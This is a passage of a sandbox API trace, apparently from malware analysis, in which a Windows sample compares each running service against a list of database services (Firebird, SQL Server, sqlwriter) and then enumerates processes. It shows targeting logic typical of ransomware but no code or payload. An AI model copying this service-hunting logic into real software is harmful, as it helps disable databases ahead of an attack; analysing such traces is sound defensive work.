	[0153.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0153.296] lstrlenW (lpString="BFE") returned 3
	[0153.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0153.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0153.296] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0153.296] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0153.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0153.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0153.296] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0153.296] lstrlenW (lpString="CDPSvc") returned 6
	[0153.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0153.296] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0153.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0153.296] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0153.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0153.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0153.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0153.296] lstrlenW (lpString="CryptSvc") returned 8
	[0153.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0153.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0153.296] lstrlenW (lpString="DcomLaunch") returned 10
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0153.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0153.297] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0153.297] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0153.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0153.297] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0153.297] lstrlenW (lpString="Dhcp") returned 4
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0153.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0153.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0153.297] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0153.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0153.297] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0153.297] lstrlenW (lpString="Dnscache") returned 8
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0153.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0153.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0153.297] lstrlenW (lpString="DPS") returned 3
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0153.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0153.297] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0153.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0153.297] lstrlenW (lpString="DusmSvc") returned 7
	[0153.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0153.298] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0153.298] lstrlenW (lpString="EventLog") returned 8
	[0153.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0153.298] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0153.298] lstrlenW (lpString="EventSystem") returned 11
	[0153.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0153.298] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0153.298] lstrlenW (lpString="FontCache") returned 9
	[0153.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0153.298] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0153.298] lstrlenW (lpString="gpsvc") returned 5
	[0153.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0153.298] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0153.298] lstrlenW (lpString="iphlpsvc") returned 8
	[0153.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0153.298] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0153.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0153.298] lstrlenW (lpString="KeyIso") returned 6
	[0153.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0153.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0153.298] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0153.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0153.299] lstrlenW (lpString="LanmanServer") returned 12
	[0153.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0153.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0153.299] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0153.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0153.299] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0153.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0153.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0153.299] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0153.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0153.299] lstrlenW (lpString="lfsvc") returned 5
	[0153.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0153.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0153.299] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0153.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0153.299] lstrlenW (lpString="lmhosts") returned 7
	[0153.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0153.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0153.299] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0153.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0153.299] lstrlenW (lpString="LSM") returned 3
	[0153.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0153.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0153.299] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0153.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0153.299] lstrlenW (lpString="MpsSvc") returned 6
	[0153.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0153.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0153.299] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0153.299] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0153.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0153.300] lstrlenW (lpString="NcbService") returned 10
	[0153.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0153.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0153.300] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0153.300] lstrlenW (lpString="netprofm") returned 8
	[0153.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0153.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0153.300] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0153.300] lstrlenW (lpString="NgcSvc") returned 6
	[0153.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0153.300] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0153.300] lstrlenW (lpString="NlaSvc") returned 6
	[0153.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0153.300] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0153.300] lstrlenW (lpString="nsi") returned 3
	[0153.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0153.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0153.300] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0153.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0153.300] lstrlenW (lpString="PcaSvc") returned 6
	[0153.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0153.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0153.301] lstrlenW (lpString="PlugPlay") returned 8
	[0153.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0153.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0153.301] lstrlenW (lpString="Power") returned 5
	[0153.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0153.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0153.301] lstrlenW (lpString="ProfSvc") returned 7
	[0153.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0153.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0153.301] lstrlenW (lpString="RpcEptMapper") returned 12
	[0153.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0153.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0153.301] lstrlenW (lpString="RpcSs") returned 5
	[0153.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0153.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0153.301] lstrlenW (lpString="SamSs") returned 5
	[0153.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0153.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0153.301] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0153.301] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0153.302] lstrlenW (lpString="Schedule") returned 8
	[0153.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0153.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0153.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0153.302] lstrlenW (lpString="SecurityHealthService") returned 21
	[0153.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0153.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0153.302] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0153.302] lstrlenW (lpString="SENS") returned 4
	[0153.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0153.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0153.302] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0153.302] lstrlenW (lpString="ShellHWDetection") returned 16
	[0153.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0153.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0153.302] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0153.302] lstrlenW (lpString="Spooler") returned 7
	[0153.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0153.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0153.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0153.302] lstrlenW (lpString="StateRepository") returned 15
	[0153.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0153.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0153.302] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0153.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0153.303] lstrlenW (lpString="SysMain") returned 7
	[0153.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0153.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0153.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0153.303] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0153.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0153.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0153.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0153.303] lstrlenW (lpString="Themes") returned 6
	[0153.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0153.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0153.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0153.303] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0153.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0153.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0153.303] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0153.303] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0153.303] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a837a0 | out: hHeap=0x5a0000) returned 1
	[0153.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0153.308] Process32FirstW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0153.309] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0153.309] lstrlenW (lpString="System") returned 6
	[0153.309] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0153.310] lstrlenW (lpString="smss.exe") returned 8
	[0153.310] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0153.310] lstrlenW (lpString="csrss.exe") returned 9
	[0153.311] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0153.311] lstrlenW (lpString="wininit.exe") returned 11
	[0153.311] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0153.312] lstrlenW (lpString="csrss.exe") returned 9
	[0153.312] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0153.312] lstrlenW (lpString="winlogon.exe") returned 12
	[0153.312] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0153.313] lstrlenW (lpString="services.exe") returned 12
	[0153.313] Process32NextW (in: hSnapshot=0x384, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0153.313] lstrlenW (lpString="lsass.exe") returned 9
